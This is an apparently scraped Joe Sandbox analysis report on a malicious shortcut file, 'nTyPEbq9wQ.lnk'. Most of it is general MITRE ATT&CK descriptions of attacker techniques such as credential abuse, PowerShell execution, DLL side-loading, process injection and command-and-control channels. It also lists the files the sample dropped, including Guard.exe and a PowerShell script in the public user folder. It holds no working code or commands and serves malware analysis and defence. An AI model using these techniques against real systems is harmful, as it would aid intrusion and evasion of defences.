Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report nTyPEbq9wQ.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\Public\Guard.exe

C:\Users\Public\PublicProfile.ps1

C:\Users\Public\Secure.au3

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1eb88758-cfa3-48a5-b9b1-90f9f6799178.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\40de5eb8-d327-4d09-9a14-5b290031be12.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\50b98cb8-89b2-489a-a2c1-eb091d47238d.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\ef2c46ff-3728-4889-9981-cec8727e4213.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Windows Analysis Report
nTyPEbq9wQ.lnk

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre